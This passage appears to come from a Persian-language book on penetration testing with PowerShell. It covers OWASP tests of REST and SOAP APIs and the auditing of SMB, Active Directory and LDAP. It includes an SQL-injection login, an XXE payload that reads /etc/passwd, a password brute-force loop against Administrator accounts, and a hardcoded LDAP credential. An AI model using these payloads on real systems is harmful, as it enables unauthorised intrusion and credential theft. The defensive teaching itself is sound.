Methodology:    ازPowerShell  هایی با  برای ارسال درخواستURL  های تغییر مسیر یا فوروارد

دهد یا اجازه تغییر مسیر نامعتبر را می   APIدستکاری شده استفاده کنید و تجزیه و تحلیل کنید که آیا  

 توانید تغییر مسیرهای نامعتبر را به شکل زیر آزمایش کنید:می خیر. به عنوان مثال،  
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$uri = "https://api.snowcapcyber.com/redirect?url=http://malicious. 
com" 
$response = Invoke-RestMethod -Uri $uri -Method GET 

OWASP analysis – insecure deserialization 

Objective:  های پذیریآسیبInsecure Deserialization  را درAPI .ارزیابی کنید 

Methodology:    ازPowerShell  درخواست ارسال  اشیاء  برای  با  و    Serializedها  کنید  استفاده  مخرب 

 کند یا خیر. به مثال زیر توجه کنید:   Deserializationها را  کند آن تلاش می   APIتجزیه و تحلیل کنید که آیا  

$uri = "https://api.snowcapcyber.com/process-data" 
$serializedPayload = "maliciousSerializedObject" 
$headers = @{ 
 "Content-Type" = "application/xml"} 
$response = Invoke-RestMethod -Uri $uri -Method POST -Headers $headers 
-Body $serializedPayload 

برای ارزیابی    PowerShellدر    RESTهای تست نفوذ هنگام استفاده از  در فعالیت   OWASPگنجاندن چارچوب  

برنامه  امنیت  انعطاف جامع  است.  آزمایش   PowerShellپذیری  های وب ضروری  می به  اجازه  تا  کنندگان  دهد 

 OWASPهای همتراز با ده برتر  پذیریها را برای شناسایی آسیبها و پیلودهای سفارشی بسازند و پاسخدرخواست

Top 10  کند. همیشه اطمینان  تر کمک می ای امنتجزیه و تحلیل کنند، که در نهایت به توسعه و استقرار برنامه

 کنید.های نفوذ دنبال می های اخلاقی را هنگام انجام تست ی لازم را دارید و دستورالعمل حاصل کنید که مجوزها

PowerShell and SOAP 

تواند به  برای تست نفوذ می   PowerShellدر    SOAPیا    Simple Object Access Protocolاستفاده از  

معمولا برای    SOAPد کمک کند.  هایی که بر این پروتکل متکی هستن  APIهای وب و  ارزیابی امنیت سرویس 

ها بسیار مهم است. در اینجا راهنمای نحوه  پذیریشود و برای شناسایی آسیبها استفاده می ارتباط بین برنامه 

  OWASPبرای تست نفوذ در حین پیوند دادن تجزیه و تحلیل به چارچوب    PowerShellدر    SOAPاستفاده از  

 آورده شده است.

OWASP analysis – injection 

Objective:  های ها و پاسخهای تزریق در درخواستپذیریآسیبSOAP .را آزمایش کنید 
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Methodology:  توانید پیلودهای  های دیگر، می مانند آزمایش برای تزریق در پروتکلSOAP    را برای آزمایش

توانید برای تزریق  ثال، می های تزریق دستکاری کنید. به عنوان مپذیرییا سایر آسیب  XML، تزریق SQLتزریق 

SQL   در یک درخواستSOAP  :کد زیر را آزمایش کنید 

$uri = "https://api.snowcapcyber.com/soap-endpoint" 
$soapPayload = @" 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/ 
envelope/" xmlns:web="http://www.example.com/webservice"> 
     <soapenv:Header/> 
     <soapenv:Body> 
          <web:Login> 
               <web:username>' OR '1'='1</web:username> 
               <web:password>password</web:password> 
          </web:Login> 
     </soapenv:Body> 
</soapenv:Envelope> 
"@ 
$headers = @{ 
     "Content-Type" = "text/xml; charset=utf-8" 
} 
$response = Invoke-RestMethod -Uri $uri -Method POST -Headers $headers 
-Body $soapPayload 

OWASP analysis – XXE 

Objective:  های پذیریآسیبXXE  های را در پیامSOAP  .تست کنید 

Methodology:    آزمایش میRESTدر    XXEمشابه  مخرب  ،  پیلودهای  آزمایش    XMLتوانید  برای  را 

 آزمایش کنید:   SOAPرا در یک درخواست  XXEتوانید ایجاد کنید. به عنوان مثال، می  XXEهای پذیریآسیب

$uri = "http s://api.snowcap cyber.com/soap-endpoint" 
$soapPayload = @" 
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<soapenv:Envelope xmlns:soapenv="htt p://schemas.xml soap.org/soap/ 
envelope/" xmlns:web="http://www.example.com/webservice"> 
     <soapenv:Header/> 
     <soapenv:Body> 
          <web:ProcessXML> 
               <web:xmlInput><![CDATA[<!DOCTYPE foo [ <!ENTITY xxe SYSTEM 
"fil e:///etc/passwd"> ]><foo>&xxe;</foo>]]></web:xmlInput> 
               </web:ProcessXML> 
     </soapenv:Body> 
</soapenv:Envelope> 
"@ 
$headers = @{ 
     "Content-Type" = "text/xml; charset=utf-8" 
} 
$response = Invoke-RestMethod -Uri $uri -Method POST -Headers $headers 
-Body $soapPayload 

OWASP analysis – authentication bypass 

Objective: های مبتنی بر های احراز هویت در سرویسارزیابی مکانیسمSOAP 

Methodology:  های  با ایجاد درخواستSOAP  های دور زدن  پذیریبا سناریوهای مختلف احراز هویت، آسیب

 توانید احراز هویت ضعیف را آزمایش کنید:احراز هویت را آزمایش کنید. به عنوان مثال، می 

$uri = "https://example.com/soap-endpoint" 
$soapPayload = @" 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/ 
envelope/" xmlns:web="http://www.example.com/webservice"> 
     <soapenv:Header/> 
     <soapenv:Body> 
          <web:Login> 
               <web:username>admin</web:username> 
               <web:password>password123</web:password> 
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          </web:Login> 
     </soapenv:Body> 
</soapenv:Envelope> 
"@ 
$headers = @{ 
     "Content-Type" = "text/xml; charset=utf-8" 
} 
$response = Invoke-RestMethod -Uri $uri -Method POST -Headers $headers 
-Body $soapPayload 

OWASP analysis – insecure deserialization 

Objective:  های پذیریآسیبInsecure Deserialization های را در پیامSOAP .آزمایش کنید 

Methodology :    مشابه آزمایش برایInsecure Deserialization   در این بخش نیز  های دیگر،  در زمینه

برای آزمایش آسیب  SOAPپیلودهای مخرب  باید   برای  ها ارسال کرد. به عنوان مثال، شما می پذیری را  توانید 

Insecure Deserialization   در یک درخواستSOAP :کد زیر را آزمایش کنید 

$uri = "https://example.com/soap-endpoint" 
$soapPayload = @" 
<soapenv:Envelope 
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:web="http://www.example.com/webservice"> 
     <soapenv:Header/> 
     <soapenv:Body> 
          <web:ProcessData> 
<web:data><![CDATA[O:8:"Example":1:{s:4:"data";s:10:"malicious";}]]></web:d
ata> 
          </web:ProcessData> 
     </soapenv:Body> 
</soapenv:Envelope> 
"@ 
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$headers = @{ 
     "Content-Type" = "text/xml; charset=utf-8" 
} 
$response = Invoke-RestMethod -Uri $uri -Method POST -Headers $headers 
-Body $soapPayload 

OWASP analysis – unvalidated redirects and forwards 

Objective:  های مبتنی بر برای تغییر مسیرها و فورواردهای نامعتبر در سرویسSOAP .آزمایش کنید 

Methodology:  های  درخواستSOAP    با های تغییر مسیر دستکاری شده ایجاد کنید و تجزیه و    URLرا 

توانید برای تغییر  ن مثال، می دهد یا خیر. به عنواتحلیل کنید که آیا این سرویس اجازه هدایت مجدد نامعتبر را می 

 کد زیر را آزمایش کنید:  SOAPمسیرهای نامعتبر در یک درخواست 

$uri = "https://example.com/soap-endpoint" 
$soapPayload = @" 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/ 
envelope/" xmlns:web="http://www.example.com/webservice"> 
     <soapenv:Header/> 
     <soapenv:Body> 
          <web:Redirect> 
               <web:url>https://malicious.com</web:url> 
          </web:Redirect> 
     </soapenv:Body> 
</soapenv:Envelope> 
"@ 
$headers = @{ 
     "Content-Type" = "text/xml; charset=utf-8" 
} 
$response = Invoke-R 

توانید به طور  در طول تست نفوذ، می   PowerShellدر    SOAPها برای استفاده از  با استفاده از این متدولوژی 

  OWASPهای همسو با چارچوب  پذیریها را ارزیابی کنید و آسیب  APIها و  موثر امنیت وب سرویس 

های اخلاقی و دریافت مجوزهای  را شناسایی کنید. همیشه از داشتن مجوز مناسب، پیروی از دستورالعمل 
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شده را به  های شناساییپذیریهای نفوذ اطمینان حاصل کنید. علاوه بر این، گزارش آسیب لازم هنگام انجام تست 

 های مسئول برای اصلاح در نظر بگیرید. طرف

Summary 

را معرفی    XMLو    JSONدر ساختارهای    PowerShellها در  به طور خلاصه، این فصل نحوه کدگذاری داده 

برای آزمایش    OWASPدر چارچوب    PowerShellتوان از  کند. سپس به شما نشان دادیم که چگونه می می 

API   هایREST  وSOAP  .استفاده کرد 

را به عنوان بخشی از یک تست نفوذ جامع بر روی بلاک پیام    PowerShellدر فصل بعدی، نحوه استفاده از  

 ( بررسی خواهیم کرد. LDAP( و پروتکل دسترسی دایرکتوری سبک وزن )AD(، اکتیو دایرکتوری ) SMBسرور ) 
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 SMB, Active Directory, LDAP and Kerberos -  فصل ششم
ا از    ن یدر  استفاده  نحوه  بخش  PowerShellفصل،  عنوان  به  رو  ی را  جامع  نفوذ  تست   SMB  ،Active  ی از 

Directory (AD)    وLightweight Directory Access Protocol (LDAP)   ما    میخواه  یبررس کرد. 

بالقوه    یاهیریپذ ب یآس   ییکامل و شناسا  ی تی امن  یهای ابیانجام ارز  ی را برا  PowerShellقدرتمند    یهاتیقابل

 کرد.  م یخواه ی بررس  یسازمان یهاشبکه  ی اتیح یاجزا  نیدر ا

PowerShell  از ابزارها و    یاگسترده   فیط   کروسافت، یتوسط ما  افته یتوسعه    ی سیزبان برنامه نو  کی ، به عنوان

cmdlet  ی تیامن  تیوضع  ی ابیارز  یبرا  گران نفوذ   تست و    ی تیتوانند توسط متخصصان امن ی دهد که می ها را ارائه م  

SMB به  در گروه   تیعضو  ،یکاربر  یها، حساب از طرسرویس    یرکتور یداها و موارد مربوط    ق یاستفاده شوند. 

 هاپروفایلبرشمردن،    یبرا  PowerShellاز    توان ی داد که چگونه م  م یکار شده، نشان خواه  یهااز مثال   یامجموعه 

 استفاده کرد.  هاستم یس  نیاز نقاط ضعف در ا ی بردارو بهره 

با   ما  م   SMBسفر  م  م ی که نشان خواه  یی جا  شود، ی آغاز    ی اب یارز  ی برا  PowerShellاز    توان ی داد که چگونه 

SMB  ،منابع    شناساییShare  آزما  شده اکت  فیعبور ضع  یرمزها  شیو  به    ی رکتور یدا  وی استفاده کرد. سپس 

 یهاحساب   ییشناسا  ،یکاربر   بحسا  ت یامن  ی ز یرا در مم  PowerShell  یهاتیکه قابل  ییجا  م، یشوی منتقل م

 .میگذار ی م شیبه نما ی گروه یها ت یعضو ی ابیو ارز رفعال،یغ

و   تیاحراز هو  شی، آزماLDAP  یمجوزها   ی ابیارز  یرا برا  PowerShellاستفاده از    ی، چگونگ LDAPبا رفتن به  

همراه خواهد بود که به    یعمل  یهاکرد. هر مرحله از کاوش ما با مثال   میخواه  یبررس   LDAP  کینظارت بر تراف

 . د یخود استفاده کن یت یامن یهای ابیبه طور موثر در ارز هاک ی تکن نیتا از ا دهد ی امکان را م  نیشما ا

پا جامع  نیا  انیدر  درک  ا  یفصل،  زرادخانه    یابزار  تواند ی م   PowerShellچگونه    نکه یاز  در    تست ارزشمند 

تا به    کند ی مجهز م   ییهاشما را به دانش و مهارتاین فصل  داشت.    د یباشد، خواه  یت یو متخصصان امن  گراننفوذ 

آس  فعال  ا  یت یامن  یها ی کربند یپ  د،یکن  ییرا شناسا  هایریپذ بیطور  نها  د یکن   یابیرز را  در    ی ریپذ انعطاف   تیو 

 . د یده شیافزا تانیهارا در سازمان   LDAPو   SMB ،AD یهایسازادهیپ

 پرداخت:  میها خواهفصل به آن  ن یاست که در ا یموضوعات  نیتری اصل ریموضوعات ز

• PowerShell and SMB 

• PowerShell, AD, and LDAP 

• PowerShell and Kerberos 
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PowerShell and SMB 

PowerShell  شبکه مانند پروتکل    یهاس یدر برابر سرو  یتیامن  یهاانجام تست   ی تواند به طور موثر برای مSMB  

شود.    به کار برده شود،  ی استفاده م  ندوز ی و  یهاط یبه منابع در مح  ی و دسترس   لیفا  یاشتراک گذار   ی که معمولا برا

ا از    یبخش، چگونگ   نیدر  برا  PowerShellاستفاده  برابر    یتی امن  تست  کیانجام    یرا  شناساSMBدر    یی ، 

 کرد.  میخواه  یشبکه بررس  یدفاع ستمیس  ت یو تقو هایریپذ بیآس 

  ن یو چاپگر و همچن  ل یفا  ی است که اشتراک گذار  ندوزی بر و  ی مبتن  یهاشبکه   یاتیح  ی از اجزا  ی کی  SMBپروتکل  

است، اما اگر   یاتیها حداده   کپارچهیتبادل   یبرا SMBکه   یکند. در حال ی م لیبه منابع مختلف را تسه یدسترس 

  ی خطرات شامل دسترس   نیبه همراه داشته باشد. ا  زی را ن  یتیتواند خطرات امنی نشود، م  یکربند یپ  درستی به  

شبکه خود، انجام  مناسب    تیاز امن   نانیاطم  ی است. برا  ی حملات باج افزاربروز    حتیها و  نشت داده   رمجاز،یغ

 . باشد می  ی ضرور SMB یهایساز  اده یکامل پ یت یامن شیآزما

Enumerating SMB shares 

 PowerShellسرور راه دور است.    ک ی، کشف منابع مشترک در  SMB  ت یتست امن  یاساس   یهااز جنبه   یکی

م  Get-SmbShareمانند    دستوراتی  ارائه  می را  امکان  شما  به  که  را    SMB  یها  Shareدهد  ی دهد 

Enumerate  نمایید: 

Get-SmbShare 

  ، Share  یهادرباره نام   یو اطلاعات  کند ی سرور راه دور را فهرست م  کیموجود در    ی ها  Shareدستور همه    نیا

مجوزها  رهایمس م  یدسترس   یو  آزماکند ی ارائه  ا  توانند ی م  یتیامن  کنندگانش ی.  برا  نی از    ی ابیارز  یاطلاعات 

و    یهای کربند یپ  ییشناسا  ، Share  ی مجوزها آس ها      Shareکدام    نکه یا  نییتع نادرست   ریپذ ب یممکن است 

 باشند، استفاده کنند.

An SMB version assessment 

  PowerShellاز    توانی ، مSMBناامن    ای  یمیقد   یهامربوط به نسخه   یاحتمال  یهایریپذ بیآس   ییشناسا  یبرا

بر رو  SMBنسخه    یبررس   یبرا   Get-SmbConnectionراه دور استفاده کرد.    ستمی س   ک ی  ی در حال اجرا 

 دهد:ی نشان مآن از جمله نسخه  SMBرا در مورد اتصالات  یاتیجزئ
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Get-SmbConnection 

  د ی کن  ی ابیکند ارزی دهد و به شما کمک می در حال استفاده ارائه م  SMBرا در مورد نسخه    ییهانش یدستور ب  نیا

 . ریخ ایکند ی استفاده م SMBامن و به روز  یهاشبکه شما از نسخه  ایکه آ

Testing for weak passwords 

  PowerShellباشند. از    SMB  یهاط یمهم در مح   یتی خطر امن  کی  توانند ی م   فرضش یپ  ای  فیضع  یهاگذرواژه 

  ی از رمزها  یستیبا استفاده از ل   SMB  یاتصال به اشتراک گذار  یرمز عبور با تلاش برا  ی زیانجام مم  ی توان برای م

 کند:ی را خودکار م ند یآفر  نیا ریز  پتیاستفاده کرد. اسکر فیشناخته شده ضع  ای جیعبور را

$computers = Get-Content computers.txt 
$passwords = Get-Content passwords.txt 
foreach ($computer in $computers) { 
     foreach ($password in $passwords) { 
          $credential = New-Object -TypeName System.Management. 
Automation.PSCredential -ArgumentList ("$computer\Administrator", 
(ConvertTo-SecureString -String $password -AsPlainText -Force)) 
          try { 
               Invoke-Command -ComputerName $computer -Credential 
$credential -ScriptBlock { Get-SmbShare } 
          } catch { 
 Write-Host "Failed to connect to $computer with password 
$password" 
          } 
     } 
} 

از مجموعه ی م  ی سع  پتیاسکر  نیا با استفاده  ل  انه یها به هر رااز گذرواژه   یاکند  متصل شود و    ستیموجود در 

  ر ییبدون تغ  ا ی  فی فرض ضع  ش یپ  های  Credentialکند  ی کند و به شما کمک می هرگونه تلاش ناموفق را ثبت م

 .د یکن ییرا شناسا
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SMB vulnerability scanning 

شخص    یهاپتیاسکر  ایها  با استفاده از ماژول   SMB  یریپذ ب یانجام اسکن آس   یتوان برای م  PowerShellاز  

ابزارها کرد.  استفاده  م  Invoke-SMBScannerمانند    یی ثالث  در  ی را    ییشناسا  یبرا   PowerShellتوان 

 هدف ادغام کرد:  یهاستمیدر س   SMB یهایریپذ بیآس 

Invoke-SMBScanner -Target 192.168.107.100-192.168.107.150 

  EternalBlueشده مانند  شناخته   یها، از جمله سوءاستفاده SMB  جیرا  یهایریپذ ب یآس   یبرا   ییابزارها  نیچن

 .دهند ی درباره خطرات بالقوه ارائه م  ییهانش یو ب  کنند ی ، اسکن مSMBGhost ای

Assessing SMB signing and encryption 

SMB Signing  مهم است.    اریها بسو محرمانه بودن داده   یکپارچگ یاز    نان یاطم  ی برا  ی و رمزگذارPowerShell  

.  ریخ  ایسرور راه دور فعال است    کیدر   یو رمزگذار  SMB Signing  ایکه آ  د یکن  ی دهد بررس یبه شما امکان م

Get-SmbClientConfiguration  کلاینت یکربند یپ یابیباز ی توان برای را م SMBامضا   ماتی، از جمله تنظ

 استفاده کرد:  ی و رمزگذار

Get-SmbClientConfiguration 

بررس   EncryptDataو    RequireSecuritySignature  یهای ژگیو بررس   د یکن  یرا  آ  د یکن  یتا    نیا  ایکه 

  ش یافزا  ی را برا  ی امضا و رمزگذار  د یبا  من یا  یکربند یبا پ  SMB  ی . سرورهاریخ  ایفعال هستند    ی تی امن  یهای ژگیو

 شبکه فعال کنند.  تیامن

The enumeration of active SMB sessions 

را در مورد    ییهانش یب  که فعال استفاده کرد    SMBجلسات    Enumeration  یتوان برای م  PowerShellاز  

به منابع مشترک دسترس   ی افراد ارائه م  ی که در حال حاضر  امکان    Get-SmbSessionدهد.  ی دارند  به شما 

 :د یکن   یابیراه دور باز  ای یمحل  ستمیس  کی را در  SMBدهد اطلاعات مربوط به جلسات ی م
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Get-SmbSession 

 کنند.  ییمشکوک را شناسا ای رمجاز یتوانند اتصالات غی م  ی تیجلسه، متخصصان امن یهاداده   لیو تحل  هی با تجز

Checking for guest access 

  د ییتأ  ی توان برای م  PowerShellمهم باشد. از    ی تیخطر امن  کیتواند  ی م   ها  SMB Shareبه    Guest  یدسترس 

توان  ی را م   Get-SmbShareاستفاده کرد.    ر یخ  ایراه دور مجاز است    ستم یس   ک یدر    Guest  ی دسترس   ایآ   نکهیا

 کرد:   یسفارش  Guest ی دسترس  ی بررس  یبرا

Get-SmbShare | Where-Object { $_.IsGuestOnly -eq $true } 

  ی تیامن  یهای و نگران  دهند ی م  ی اجازه دسترس   Guestکه فقط به    کند ی را فهرست م  ییهاShareدستور    نیا

 .کند ی بالقوه را برجسته م

Evaluating share permissions 

PowerShell  یکنترل دسترس   یهاو فهرست  یگذاراشتراک   یتا مجوزها   سازدی را قادر م  تست نفوذگران  (ACL  )

  Share  ک ی  ACL  لیو تحل  هی و تجز  یابیباز  ی توان برای را م   Get-Aclکنند.    یابیارز  SMB  یهاShare  یرا برا

 خاص استفاده کرد: 

Get-SmbShare | Where-Object { $_.IsGuestOnly -eq $true } 

  ی کند مجوزهای دهد و به شما کمک میرا نشان مها    Shareمربوط به    Security Descriptorدستور    نیا

 .د یکن یینادرست را شناسا  یکربند یپ ایاز حد مجاز  شیب ی اشتراک گذار

SMB session monitoring 

دستورات    یادوره   یاستفاده کرد. با اجرا  SMBنظارت مستمر بر جلسات    می تنظ  یتوان برا ی م  PowerShellاز  

م  یابیباز  یبرا فعال،  غ  د یتوانی جلسات  اتصال  گونه  زمان تشخ  ای  رمنتظرهی هر  را در طول  .  د یده  صیمشکوک 

 :د ی رینظر بگ  درنظارت بر جلسه    یخودکارساز یرا برا  Scheduled Task ک یاستفاده از 
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$interval = 60 
while ($true) { 
     Get-SmbSession 
     Start-Sleep -Seconds $interval 
} 

 Background  ک ی تواند به عنوان  ی کند و می م  یابیرا باز  SMBبه طور مداوم اطلاعات جلسه    پتیاسکر  نیا

Task  مشکوک اجرا شود.   ای رمجازیغ ینظارت بر هرگونه دسترس  یبرا 

Automated ransomware detection 

که ممکن است نشان دهنده    ییهال یدر فا  ع یسر  ا یمشکوک    راتییتغ   ییشناسا  یتوان برای م   PowerShellاز  

و   ل یمانند اندازه فا  ل، یفا یها ی ژگینظارت بر و  یرا برا   ییهاپت یاسکر  توانی باج افزار باشد استفاده کرد. م  تیفعال

 :ایجاد نمودرا  ییهاهشدار رمنتظره، یغ راتیینوشت و در صورت وقوع تغ و غیره  زمان اصلاح

$filePath = "C:\Test\ImportantFile.txt" 
$initialSize = (Get-Item $filePath).Length 
while ($true) { 
     $currentSize = (Get-Item $filePath).Length 
     if ($currentSize -ne $initialSize) { 
          Write-Host "File size changed. Possible ransomware activity 
detected." 
     } 
     Start-Sleep -Seconds 300 
} 

  جاد یرا ا یهشدار لیاندازه فا رمنتظرهیغ رییو در صورت تغ کند ی م یخاص را بررس  لیفا کیاندازه  پتیاسکر نیا

 افزار باشد.باج  ت ینشان دهنده فعال تواند ی که م کند ی م

PowerShell   یهای ساز  ادهیدر برابر پ  ی تیامن  یهاانجام تست   یها را براک یاز ابزارها و تکن  یقو  یامجموعه  

SMB  هایریپذ ب یبه طور فعال آس   توانند ی م  ی تیمتخصصان امن  ها،ت یقابل  ن یدهد. با استفاده از ای ارائه م 

نظارت کنند و دفاع    SMB  یهات یفعالکنند، بر    ی ابیرا ارز  یگذاراشتراک   ی مجوزها،  نموده  ییرا شناسا

  اریو مقررات قابل اجرا بس  نیبا مجوز مناسب و انطباق با قوان  شاتیآزما  نی. انجام انمایند   تیشبکه را تقو
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ها تواند به سازمانی مشکوک م   یهات یفعال  ی و نظارت فعال برا  SMB  یهایکربند یمنظم پ  یز یمهم است. مم

 را کاهش دهند.  SMB  ی برا یاحتمال داتیو تهد   نموده منیموثر ا طور کمک کند تا خدمات شبکه خود را به 

PowerShell, AD, and LDAP 

PowerShell  یهاس یجامع در برابر سرو  ی تیامن  یهاانجام تست  یتوان برا ی را م  AD    وLDAP    مورد استفاده

،  LDAPو    ADدر برابر    یت یامن  یهاانجام تست   یرا برا  PowerShellاستفاده از    یچگونگ ،  بخش  نی. در اقرار داد

 کرد.  می واهخ یبررس  دایرکتوری سرویس ت یامن تیو تقو هایریپذ بیآس  ییشناسا

AD ها و  کامپیوترها، کاربران، گروه  ت یریمد  ی برا  ندوز یو  یهاط یاست که در مح کروسافتیما س یسرو یرکتور یدا

برا  ی پروتکل  LDAPشود.  یمنابع شبکه استفاده م   ریسا از    سرویس  ی رکتوریدا  تیری و مد   یدسترس   یاست که 

  ی سازمنیهستند و ا  یسازمان  یهااز شبکه   ی اریبس  یاتیح   یاجزا   LDAPو    ADد. هر دو  گردی استفاده م   ADجمله  

 مهم است. اریامن بس ط یمح کی حفظ  ی ها براآن

را درک    LDAPو    AD  یاصل  م یبه طور خلاصه مفاه  د یاجازه ده  ، یتی تست امن  یها ی ژگیقبل از پرداختن به و

 . میکن

AD  :AD  است.    افتهیتوسعه    ندوزیدامنه و  یهاشبکه  یبرا  کروسافتیاست که توسط ما  سیسرو  یرکتوریدا  کی

کند.  ی م  تیریو مد   ره یرا ذخها  کامپیوترها و  گروه   ، یکاربر  یهااطلاعات مربوط به منابع شبکه، از جمله حساب

AD د. نمایی م  فایا ندوز یو  یهاط یمنابع در مح تیریمجوز و مد  ت،یرا در احراز هو ی نقش اصل 

LDAP:  LDAP  از جمله    سرویس  یرکتوریدا  تیر یو مد   یدسترس   یاست که برا  یپروتکلAD  شود.  ی استفاده م

معمولاً در    LDAPدهد.  ی ارائه م  یرکتور یاطلاعات دا  تی ریو مد   یپرس و جو، بروزرسان  ی راه استاندارد برا  کی  نیا

 شود. یاستفاده م  ی رکتوریدا یهابه داده  یدسترس   یمختلف شبکه برا یهاها و برنامه سیسرو

The enumeration of active directory objects 

AD  است.  ها  کامپیوترها و  از اطلاعات در مورد کاربران، گروه   ی انبوه   ی حاوPowerShell  امکان را    ن یبه شما ا

  ن یا  ی برا  ی ابزار قدرتمند    Get-ADObject.د یخود برس   ADتا به ساختار    د یرا برشمار  اءیاش   نیدهد که ای م

توان از دستورات زیر  می   خاص  OU  کی در    کاربر  اءیفهرست کردن تمام اش   یبه عنوان مثال، برا  -منظور است  

 : استفاده نمود
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Get-ADObject -Filter {ObjectClass -eq 'user'} -SearchBase 
'OU=Employees,DC=snowcapcyber,DC=com' 

اش   نیا تمام  در    اءیدستور  را  باز  OUکاربر  شده  جزئیم  یابیمشخص  و  و    ها  Usernameمانند    یات یکند 

Distinguished Name  م  ها ارائه  شما است و    AD  ط یگام در درک مح  ن یاول  Enumerationدهد.  ی را 

 وجود داشته باشند کمک کند. ا یدر دسترس باشند  د یکه نبا  ییایاش  ییتواند به شناسای م

Assessing user account security 

  ی حساب کاربر  تیامن  یابیارز   ی توان برای م  PowerShell. از  هستند مهاجمان    یهدف اصل  ،یکاربر  یهاحساب

را    ریانقضا استفاده کرد. به عنوان مثال، موارد ز  ماتیرمز عبور و تنظ   یدگیچیمانند پ  جیمشکلات را  یبا بررس 

 استفاده کرد:  شودی نم ی ها هرگز منقضکه رمز عبور آن  یکردن کاربران  ستیل ی توان برای م

Get-ADUser -Filter {PasswordNeverExpires -eq $true} 

  ی ت یخطر امن   کیکه ممکن است    کند ی م  ییشناسا  شود،ی نم  یهرگز منقض  شانیهارا که حساب  ی فرمان کاربران  نیا

مرتبط    یهای ژگیو  ر یو سا  Lockout  مات یرمز عبور، تنظ  یهااستیس   ی ابیاغلب شامل ارز  ی تیامن   شیباشد. آزما

 است. تیبا امن

Identifying inactive user accounts 

تواند با  ی م  PowerShell.  رند یمهاجمان مورد سوء استفاده قرار گتوانند توسط  ی م  رفعال یغ  یکاربر  یهاحساب

  ی انمونه   نجایکمک کند. در ا  رفعالیغ  یهاحذف حساب  ایکردن    رفعالیو غ  ییبه شناسا  ، ورود  خیتار  نیآخر  یبررس 

 اند:نشده ستم یروز است وارد س  90است که  یکاربران  افتنیاز 

$90DaysAgo = (Get-Date).AddDays(-90) 
Get-ADUser -Filter {LastLogonDate -lt $90DaysAgo} -Properties 
LastLogonDate 

به  و  اند نشده ستمیمدت زمان مشخص شده وارد س   یکه برا کند یم ییرا شناسا یکاربران پتیاسکر نیا

 .د ی ها را انجام دهحذف حساب ای کردن   رفعالیمانند غ یاقدامات مناسب دهد ی شما امکان م
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Auditing group memberships 

 یهات یعضو  تواند ی م  PowerShellبه منابع حساس را بدهد.    ی تواند به کاربران امکان دسترس ی در گروه م  تیعضو

تا از رعا   یگروه را بررس  فهرست کردن    یحاصل کند. به عنوان مثال، برا  نانیاطم  ،ازیاصل حداقل امت  تیکند 

 استفاده کرد: ریدستور زتوان از  ی گروه خاص، م   کی یاعضا

Get-ADGroupMember -Identity 'ITAdmins' 

که فقط افراد    د یکن  د ییتأ  کند ی و به شما کمک م  کند ی م  یابیرا باز  ITAdminsگروه    یدستور همه اعضا  نیا

 دارند.  یدسترس  ی تیریمد  ازاتیبه امت  ،مجاز

Identifying privileged accounts 

  ی و بررس  ییتواند به شناسای م  PowerShellدارند.  قی دق یبه بررس  ازین ران،یمانند مد  از،یامت یدارا یهاحساب

استفاده    ریاز دستور ز  ،یتیریمد   یهاکردن همه کاربران با نقش   ستیل   یکمک کند. برا   از یامت  یدارا  یهاحساب

 :د یکن

Get-ADGroupMember -Identity 'Administrators' 

ها و  دهد نقش ی دهد که به شما امکان می را ارائه م   Administratorsاز تمام کاربران گروه    ی ستیدستور ل  نیا

 .د ی کن  یها را بررس آن  ی مجوزها

Auditing password policy 

برا  یهااستیس  عبور  از    اریبس  ت یامن  ی رمز  هستند.  برای م   PowerShellمهم    مات یتنظ  ی بررس   ی توان 

Password Policy  یابیباز ی استفاده کرد. به عنوان مثال، برادر دامنه خود Password Policy    ،دامنه خود

 : د یاستفاده کن ر یاز دستور زتوانید می 

Get-ADDefaultDomainPasswordPolicy 

 دهد.ی ارائه م Policy ماتیتنظ ریرمز عبور، طول و سا ی دگیچیدر مورد الزامات پ  یاتیدستور جزئ  نیا
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Assessing LDAP permissions 

م   LDAP  یمجوزها از  ی را  استفاده  با  برا  یابیارز  زین  PowerShellتوان    ا یکدام کاربران    نکهیا  نیی تع  یکرد. 

  یکاربران  افتنی  ی. به عنوان مثال، براد یپرس و جو کن  ADاز    د یتوانی دارند، م  یخاص  LDAP  ی مجوزها  ،هاگروه 

 :د یکن  ستفادها ر یدارند، از دستور ز CN=Users نری خواندن به کانت یکه دسترس 

Get-ACL 'AD:\CN=Users,DC=snowcapcyber,DC=com' | Select-Object 
-ExpandProperty Access | Where-Object { $_.ActiveDirectoryRights -like 
'ReadProperty' } 

کاربران    نیا دسترس   ییهاگروه   ایدستور  که  کانت  یخواندن  ی را  شناسا  CN=Users  نریبه  را  کند. ی م  ییدارند 

 . د یده قی تطب  ز یمجوزها ن ریسا یبررس   ی را برا کردیرو نیا د یتوانی م

Testing LDAP authentication 

برای م  PowerShellاز   هو   شیآزما  یتوان  برا   LDAP  تیاحراز  تلاش  فهرست    یبا  به  با    LDAPاتصال 

Credentialمحافظت نشده کمک کند.    ای  فیضع  یهاحساب  ییتواند به شناسای م   نیمختلف استفاده کرد. ا  یها

 زیر توجه نمایید: مثال  به

$ldapServer = 'ldap://ldap.snowcapcyber.com' 
$username = 'ajcblyth' 
$password = 'MYpassword123' 
try { 
     $ldap = [ADSI]($ldapServer) 
     $ldap.Username = $username 
     $ldap.Password = $password 
     $ldap.AuthenticationType = [System.DirectoryServices. 
AuthenticationTypes]::Secure 
     $ldap.Bind() 
     Write-Host "LDAP auth success for $username" 
} catch { 
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     Write-Host "LDAP auth failed for $username" 
} 

متصل شود و گزارش   LDAP ی رکتوریمشخص شده به داCredentialکند با استفاده از ی تلاش م پتیاسکر نیا

 .ر یخ ایبوده است  ز یآم ت یموفق تیاحراز هو ایدهد که آی م

Identifying unsecured LDAP ports 

  ا یآ  نکه یا  ی بررس   ی برا   توانی م  PowerShellدهند. از  ی ناامن را هدف قرار م   LDAP  یهامهاجمان اغلب پورت 

  LDAPاتصال    شیآزما  یاستفاده کرد. برا   ر،یخ  ایقرار دارند    د یناامن در معرض د  یهادر پورت   LDAP  یهاسیسرو

 : د یاستفاده کن Test-NetConnectionاز  د یتوانی م

Test-NetConnection -ComputerName ldap.snowcapcyber.com -Port 389 

. اگر  ری خ  ایشود  ی ( اجرا م389فرض ناامن )  شیپورت پ  ی رو  LDAP  سیسرو  ایکند که آی م   یدستور بررس   نیا

 . د یکن من یا SSL  ای TLSرا با  LDAPاست،  نیچن

Monitoring LDAP traffic 

